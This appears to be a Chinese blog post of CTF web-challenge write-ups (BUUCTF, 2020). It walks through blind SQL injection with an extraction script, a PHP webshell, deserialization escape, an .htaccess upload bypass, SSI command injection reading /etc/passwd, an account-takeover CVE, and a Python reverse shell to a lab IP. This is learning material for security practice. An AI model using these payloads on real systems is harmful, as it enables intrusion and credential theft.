BUUCTF WEB(2020-4月刷題~)
u1s1,最近一段時間真的不知道該幹啥了,不想學習,沉迷於MC無法自拔!!
[CISCN2019 總決賽 Day2 Web1]Easyweb
訪問頁面,發現是個登錄框,,,,查看一下源碼
存在一個image.php頁面,還有id號,懷疑存在sql注入
輸入啥都沒反應,,,,後面找到有個robots.txt:
下載index.php.bak無果,下載image.php.bak得到image.php的源碼:
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
可以看見的是對我們的參數首先進行轉義,然後過濾單引號、\0、等,怪不得之前沒有效果
仔細看看,這並不妨礙我們進行sql注入
傳遞參數:
id=\\0'&path= or 1=1#
<?php
$id = "\\0";
$path = " or 1=1 #";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
echo "select * from images where id='{$id}' or path='{$path}'";
得到結果:
select * from images where id='\' or path=' or 1=1 #'
這樣where條件就無用了,我們就能夠進行注入了,編寫腳本:
import requests
import sys
import string
import io
import time
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8') #改變標準輸出的默認編碼,否則s.text不能輸出
flag = ""
url = "http://1ecf7701-7fa0-409e-8a5a-176be2cb62a3.node3.buuoj.cn/image.php?id=\\0&path= or ascii(substr((select password from users),%s,1)) < %s"
'''
r = requests.get(url)
if "JFIF" in r.text:
print("Good!")
'''
for i in range(1,100):
for j in range(1,126):
urls = url%(str(i),str(j)) + " %23"
r = requests.get(urls)
if "JFIF" in r.text:
flag += chr(j-1)
print(flag)
break
print(flag)
得到密碼:
admin登陸一下:
不能上傳php文件,換一個,得到一個鏈接,訪問得到:
可以看見我們的文件名記錄在了php文件中!
那我們可以把文件名改成php語句!!發現不行,估計過濾了php關鍵字
php語法不能用?不應該,使用短標籤<?=$_GET['cmd']; eval($_POST['cmd']); ?>
菜刀鏈接:
[安洵杯 2019]easy_serialize_php
反序列化字符逃逸,與之前的不同,這個是關鍵詞過濾,也就是變少,打開題目可以看見源碼
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
根據提示打開phpinfo可以看到flag文件名,應該就是讓我們文件讀取flag
我們可以看見最關鍵的就是img,所以我們需要控制這個img
可以看見有個extract($_POST);
,所以我們可以構造一個新的session值
$_SESSION['flagphp']=';s:3:"333";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
可以自己編寫一下代碼運行一下看看結果:
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$_SESSION['flagphp']=';s:3:"333";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = base64_encode('guest_img.png');
$serialize_info = filter(serialize($_SESSION));
echo $serialize_info."\n";
$b = unserialize($serialize_info);
echo $b['img'];
結果:
a:2:{s:7:"";s:50:";s:3:"333";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
ZDBnM19mMWFnLnBocA==
可以看見,我們得到的img是我們傳遞進去的,那就可以了,讀取一下,發現還有個文件,繼續讀取得到flag
最後獲取flag的payload:
get
f=show_image
post
_SESSION['flagphp']=;s:3:"333";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
[GXYCTF2019]BabyUpload
一個上傳界面,嘗試上傳,發現不能上傳後綴名含有ph的文件:
嘗試上傳.htaccess,發現上傳成功
上傳圖片馬,爲了方便直接使用<script language=php>
:
直接readfile讀取文件:
[BJDCTF2020]EasySearch
掃描發現.swp文件,訪問之~,獲源碼:
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
可以發現用戶名可以隨意填,只要密碼的md5前6位等於6d0bc1
即可成功登陸
登錄之後會把用戶名填寫到一個隨機的shtml文件中~~
搜索一下shtml相關漏洞,找到了ssi注入,ok
先爆破密碼,這個應該比較簡單:
import hashlib
def getMd5(index):
for i in range(10000,100000000):
x = i
md5 = hashlib.md5(str(x).encode("utf8")).hexdigest()
if md5[0:6] == index:
print(x)
print(md5)
return x;
getMd5("6d0bc1")
得到2020666,在用戶名處進行ssi注入:
直接執行服務器上的各種程序<#exec>(如CGI或其他可執行程序)
<!--#exec cmd="cat /etc/passwd"-->
把想要執行的命令寫好之後,訪問shtml文件:
payload:
<!--#exec cmd="ls ../"-->
訪問flag_990c66bf85a09c664f0b6741840499b2 獲得flag:
[V&N2020 公開賽]HappyCTFd
這道題就是一道CVE當初做的時候自己郵箱不起作用,直接放棄了,,,,
需要buu內網的郵箱,,,就當是復現一下CVE吧,,編號:CVE-2020-7245
看原理:CVE-2020-7245用戶接管
打開題目,先註冊一個用戶,根據原理註冊admin
,admin前面有個空格,
然後去註冊一個郵箱:[email protected],,,
然後退出,在登錄頁面點擊重置密碼~~,輸入郵箱:
收到郵箱就可以更改密碼了,不過注意登錄之前要先把直接註冊的賬號的用戶名給改了
之後admin修改的密碼直接進去,找到flag:
下載文件得到flag~~
[V&N2020 公開賽]CHECKIN
打開得到源碼:
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
可以看見我們可以執行命令,不過在我們執行命令之前我們的flag文件被刪除了
而且我們執行命令之後也沒有回顯,就先嚐試一下反彈shell,由於這裏是python,所以就是用python一句話反彈shell:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.0.130.25",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
傳入之後,在自己機器(buu的內網機器)上用nc監聽,成功的到shell,不過發現我們沒有讀取的權限,,
這裏就要引入一個新的知識點:
在 linux 系統中如果一個程序打開了一個文件沒有關閉,即便從外部刪除之後,在 /proc 這個進程的 pid 目錄下的 fd 文件描述符目錄下還是會有這個文件的 fd,通過這個我們即可得到被刪除文件的內容。
由於上面打開了flag文件,但是卻沒有關閉,所以我們可以在 /proc 這個進程的 pid 目錄下的 fd 文件描述符目錄下讀取到文件,使用命令:
cat /proc/*/fd/*
得到flag: